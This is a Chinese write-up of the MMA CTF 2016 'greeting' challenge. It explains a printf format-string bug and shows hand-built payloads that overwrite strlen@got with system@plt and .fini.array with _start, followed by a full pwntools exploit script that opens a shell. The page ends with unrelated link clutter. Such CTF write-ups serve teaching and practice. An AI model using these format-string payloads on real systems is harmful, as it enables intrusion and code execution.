MMA CTF 2nd 2016-greeting
MMA CTF 2nd 2016-greeting
总结
本题主要为printf格式化字符串漏洞,最好的方式是手写fmt payload,然后有一个新的知识点:
- pwntools的
fmtstr_payload不是特别好用,特别是只想写低字节的时候,还是得手动写fmt_payload,抽个时间自己写个格式化payload生成函数吧。也不是第一次在这儿折腾了。 - 一个新的知识点:程序在初始化的时候,会依次调用
init.array中的函数指针;在main函数执行完退出的时候,依次调用.fini.array中的函数指针。这两个段基本都是可读可写的。 - 可以利用
printf将fini.array数组中的第一个元素覆盖为main函数的地址,或者_start函数的地址,可以循环运行main函数。本题只能多循环利用1次,之后就会报错。因为fini.array段的只有一个指针大小。
题目分析
checksec

函数分析
main:

main函数中,首先接收stdin的输入,最多输入64个字符,然后将输入的内容进行拼接,拼接后直接printf打印。getnline:

就是普通的读取输入的函数。注意,这里调用了
fgets,strchr,strlen函数。
漏洞点
很明显,格式化字符串漏洞。不过在查看文件,发现调用过system函数。同时got可读可写,所以考虑将某个函数的got表写为system@plt。然后想办法调用/bin/sh。
这里有个问题,就是printf打印完后,直接结束程序运行。那么,基本是没有办法通过一次格式化漏洞就获取shell的,要想覆盖eip就得泄露栈地址,不可能一边泄露栈地址一边往栈地址上写。因此,需要研究一下,怎样能够让程序能再一次回到main函数。
知识点
main函数并不是程序运行的起点,我们至少直到,是__libc_start_main函数,调用的main函数。网上有一些资料,解析x86程序运行的初始化函数执行流,详情请见这个地址。这里,只拿出一张图分析:

可以看到,_start函数中,调用了__libc_start_main,然后调用main函数。初始化的时候,调用init.array数组中的函数指针,退出的时候,调用fini.array数组的函数指针。因此,我们只需要把fini.array的第一个元素覆盖为main或者_start函数的地址即可。
在IDA中按下ctrl + S,可以看到程序段:

地址为0x8049934。
利用思路
步骤:
- 第一次
printf,将strlen@got写为system@plt,同时,将0x8049934,也就是fini.array处写为_start地址,获得了第二次输入的机会 - 输入
/bin/sh,会调用strlen(s),实际调用system("/bin/sh")。
EXP
一开始用fmtstr_payload生成payload,长度为70,超过了64。因此,手动写一下。
首先观察一下,正常情况下,0x8049934处的值是多少:

我们要改写为0x80484f0,不难发现,只需要改写低两个字节即可。高两个字节保持为0x0804不动。
准备手动写payload。这里先测一下偏移,输入:aaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
输出为:

好像aaaa被分开输出了,说明前面有2位的偏移,于是,修改输入为:bbaaaa%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
再来一次:

计算一下偏移,offset = 12。注意,前面有两个a,还有一句Nice to meet you, ,也就是说,前面已经输出了0x14个字符。
直接使用%n写四个字节容易写失败,这里使用$hn两个字节依次写入。本次要往str@got(0x8049a54)写入为system@plt(0x8048490),然后将fini.array(0x8049934)的低两个字节写为0x84f0根据要格式化字符串要写的内容,对写的字节大小排个序:
本次写入,要达到的目的为:
往
0x8049a56------>0x0804往
0x8049a54------>0x8490往
0x8049934------>0x84f0
最后结合偏移量,最终的payload为:
payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)
然后调试一下,看看是不是都改对了:
修改前:

修改后:

此时,获得了第二次输入机会:

输入/bin/dash即可得到shell。

完整Exp
from pwn import *
io = process('./greeting')
payload = b'aa'
payload += b'%2032c%21$hn' + b'%31884c%22$hn' + b'%96c%23$hna' + p32(0x8049a56) + p32(0x8049a54) + p32(0x8049934)
io.recvuntil("Please tell me your name... ")
print(payload, len(payload))
sleep(1)
io.sendline(payload)
io.recvuntil("Please tell me your name... ")
sleep(1)
io.sendline('/bin/sh')
io.sendline('cat flag')
io.interactive()
MMA CTF 2nd 2016-greeting的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下. mma ctf 1st 之 rps: from socket import * s = socket( ...
- October 2nd 2016 Week 41st Sunday
The road to success is lined with many tempting parking spaces. 通往成功的路边充斥着许多诱人的休息区. Exhausted, I thi ...
- September 2nd 2016 Week 36th Friday
How does the world look through your eyes? 你眼里的世界是什么样子的? How does the world look through your eyes? ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- 一步一步 Pwn RouterOS之ctf题练手
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文目的是以一道比较简单的 ctf 的练手,为后面的分析 Rout ...
- 计算机电子书 2017 BiliDrive 备份
下载方式 根据你的操作系统下载不同的 BiliDrive 二进制. 执行: bilidrive download <link> 链接 文档 链接 斯坦福 cs224d 深度学习与自然语言处 ...
随机推荐
- WSL ubuntu重置密码
1. 在powershell中切换到root: 2. 进入ubuntu: 3. 修改制定用户的密码: 4. 切换回默认的用户:
- 【.NET 与树莓派】让喇叭播放音乐
如果你和老周一样,小时候特别喜欢搞破坏(什么电器都敢拆),那下面这样小喇叭你一定见过. 这种喇叭其实以前很多录音机都用,包括上小学时买来做英语听力的便携录音机.嗯,就是放录音带的那种,录音带也叫磁带或 ...
- ELK Stack 介绍 & Logstash 日志收集
ELK Stack 组成 Software Description Function E:Elasticsearch Java 程序 存储,查询日志 L:Logstash Java 程序 收集.过滤日 ...
- 缓冲区溢出实验 4 内存管理(类似于malloc free)
实验环境.代码.及准备 https://www.cnblogs.com/lqerio/p/12870834.html vul4 观察foo函数,可见问题在于最后一次tfree(q).由于之前已经tfr ...
- ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost' (using password: NO)
cmd mysql -h localhost -u root -p r然后报错 ERROR 1045 (28000): Access denied for user 'ODBC'@'localhost ...
- springboot(五)Scheduling demo
在项目开发过程中,经常会使用到定时任务(跑批),springboot默认已经实现了,只需要添加相应的注解就可以实现 在启动类上加入注解,开启定时任务 @SpringBootApplication @E ...
- 深入剖析JavaScript中的对象与原始值之间的转换机制
我们都知道原始值之间是可以互相转换的,但是如果对象转原始值呢? 所有的对象在布尔上下文(context)中均为 true .所以对于对象,不存在 to-boolean 转换, 只有字符串和数值转换. ...
- 机器学习(四):通俗理解支持向量机SVM及代码实践
上一篇文章我们介绍了使用逻辑回归来处理分类问题,本文我们讲一个更强大的分类模型.本文依旧侧重代码实践,你会发现我们解决问题的手段越来越丰富,问题处理起来越来越简单. 支持向量机(Support Vec ...
- cnblogs 日期错乱 bug
cnblogs 日期错乱 bug 时间错乱 bug archive/2004/01/13/ 什么鬼 呀默认时间戳 https://www.cnblogs.com/xgqfrms/archive/200 ...
- Dart & data type(static / dynamic)
Dart & data type(static / dynamic) Darts 飞镖 标枪 javelin/darts type https://dartpad.dartlang.org/ ...